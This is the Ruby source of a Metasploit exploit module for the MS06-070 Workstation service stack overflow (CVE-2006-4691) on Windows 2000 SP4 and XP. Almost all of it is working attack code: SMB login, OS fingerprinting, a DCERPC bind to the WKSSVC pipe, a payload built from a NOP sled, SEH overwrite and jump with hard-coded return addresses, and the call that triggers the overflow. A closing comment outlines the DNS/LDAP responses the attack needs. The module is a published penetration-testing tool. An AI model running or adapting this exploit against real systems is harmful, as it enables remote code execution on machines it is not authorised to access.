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## # $Id: ms06_070_wkssvc.rb 10554 2010-10-05 19:29:10Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking # Requires valid/working DOMAIN + DC include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Workstation Service NetpManageIPCConnect Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow in the NetApi32 NetpManageIPCConnect function using the Workstation service in Windows 2000 SP4 and Windows XP SP2. In order to exploit this vulnerability, you must specify a the name of a valid Windows DOMAIN. It may be possible to satisfy this condition by using a custom dns and ldap setup, however that method is not covered here. Although Windows XP SP2 is vulnerable, Microsoft reports that Administrator credentials are required to reach the vulnerable code. Windows XP SP1 only requires valid user credentials. Also, testing shows that a machine already joined to a domain is not exploitable. }, 'Author' => [ 'jduck' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 10554 $', 'References' => [ [ 'CVE', '2006-4691' ], [ 'OSVDB', '30263' ], [ 'BID', '20985' ], [ 'MSB', 'MS06-070' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload'=> { 'Space'=> 1024, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets'=> [ [ 'Automatic Targetting', { } ], [ 'Windows 2000 SP4', { 'Offset' => (1058*2), 'Ret' => 0x75022ac4# pop/pop/ret in ws2help.dll } ], [ 'Windows XP SP0/SP1', { 'Offset' => (1290*2), 'Ret' => 0x71ab21cd # pop/pop/ret in ws2_32.dll } ] ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Nov 14 2006')) register_options( [ OptString.new('SMBPIPE', [ true,"The pipe name to use.", 'WKSSVC']), # NOTE: a valid domain name is required. See description. OptString.new('DOMAIN', [ true,"The domain to validate prior to joining it."]) ], self.class) end def exploit connect() smb_login() mytarget = nil if (target.name =~ /Automatic/) case smb_peer_os() when 'Windows 5.0' print_status("Detected a Windows 2000 target") mytarget = targets[1] when 'Windows 5.1' begin smb_create("\\SRVSVC") print_status("Detected a Windows XP SP0/SP1 target") rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e if (e.error_code == 0xc0000022) raise RuntimeError, "Windows XP SP2 requires Administrator privileges!" end print_status("Detected a Windows XP target (unknown patch level)") end mytarget = targets[2] else raise RuntimeError, "No target detected for #{smb_peer_os()}/#{smb_peer_lm()}..." end else mytarget = target end handle = dcerpc_handle( '6bffd098-a112-3610-9833-46c3f87e345a', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"] ) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") print_status("Building the stub data...") distance = mytarget['Offset'] hostname = make_nops(distance - payload.encoded.length) hostname << payload.encoded hostname << generate_seh_record(mytarget.ret) hostname << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string name = datastore['DOMAIN'] + "\\\\L" name = Rex::Text.to_unicode(name) name << hostname name << Rex::Text.to_unicode(rand_text_alphanumeric(1000) * 3) name << "\x00\x00" stub = NDR.uwstring("\\\\#{datastore['RHOST']}") + NDR.UnicodeConformantVaryingStringPreBuilt(name) + NDR.uwstring("") + NDR.uwstring("") + NDR.long(0) + NDR.long(1) print_status("Calling the vulnerable function...") begin dcerpc.call(0x16, stub) rescue Rex::Proto::DCERPC::Exceptions::NoResponse rescue => e if e.to_s !~ /STATUS_PIPE_DISCONNECTED/ raise e end end # Cleanup handler disconnect end end =begin The IDL for NetrJoinDomain2 looks like this: long _NetrJoinDomain2@28 ( [in][unique][string] wchar_t * arg_1, [in][string] wchar_t * arg_2, [in][unique][string] wchar_t * arg_3, [in][unique][string] wchar_t * arg_4, [in][unique] struct_C * arg_5, [in] long arg_6 ); 1. --> dns server - query for IN.SRV _ldap._tcp.dc._msdcs.DOMAIN 2. <-- dns server - response including answer and additional record. answer: whateverserver.DOMAIN priority 0 / weight 100 / port 389 additional: IN.A address of whateverserver.DOMAIN 3. --> ldap server - baseObject query with filter/attributes: - filter: (&(&(DnsDomain=DOMAIN)(Host=TARGETHOSTNAME))(NtVer=06:00:00:00)) - attributes: AttributeDescriptionList: NetLogon 4. <-- ldap server - searchResDone success, attributes data - PartialAttributeList netlogon - 1 item - type 23, flags 0x1fd, domain GUID, forest, domain, hostname, netbios domain, netbios hostname, user, site, client site, version, lmtoken, nttoken 5. validated. =end |
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